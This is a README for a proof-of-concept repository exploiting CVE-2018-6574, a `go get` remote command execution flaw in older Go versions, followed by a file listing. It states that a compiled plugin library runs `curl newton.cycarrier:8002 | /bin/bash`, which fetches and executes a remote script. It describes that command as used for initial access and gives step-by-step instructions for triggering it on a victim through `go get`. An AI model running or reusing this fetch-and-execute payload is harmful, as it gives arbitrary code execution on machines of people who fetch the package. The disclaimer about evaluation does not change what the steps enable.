CVE-2018-6574
===
Go before 1.8.7, Go 1.9.x before 1.9.4, and Go 1.10 pre-releases before Go 1.10rc2 allow `go get` remote command execution during source code build, by leveraging the gcc or clang plugin feature, because `-fplugin=` and `-plugin=` arguments were not blocked. (from [mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6574))
## RCE command
The command was compiled into the dynamic library `calc_darwin.so`. And the current command is `curl newton.cycarrier:8002 | /bin/bash`. It was used as an intitial access of a program. You have to host a file server on port 8002 and bind the host to your IP.
## How to trigger?
At first, you have to install the required version of golang on the victim. Then, host this repo on a accessable git server. Finally, use `go get` command to gather this repo, and the command will be executed automatically.
Take my repo as example. You have to use the following command:
```
go get github.com/frozenkp/CVE-2018-6574
```
## Warning
This repo is only for evaluation purpose.
[4.0K] /data/pocs/8c243820d1809c4d83b6fca60dd6f64a46a2b380
├── [ 12K] calc_darwin.so
├── [ 316] main.go
└── [1.0K] README.md
0 directories, 3 files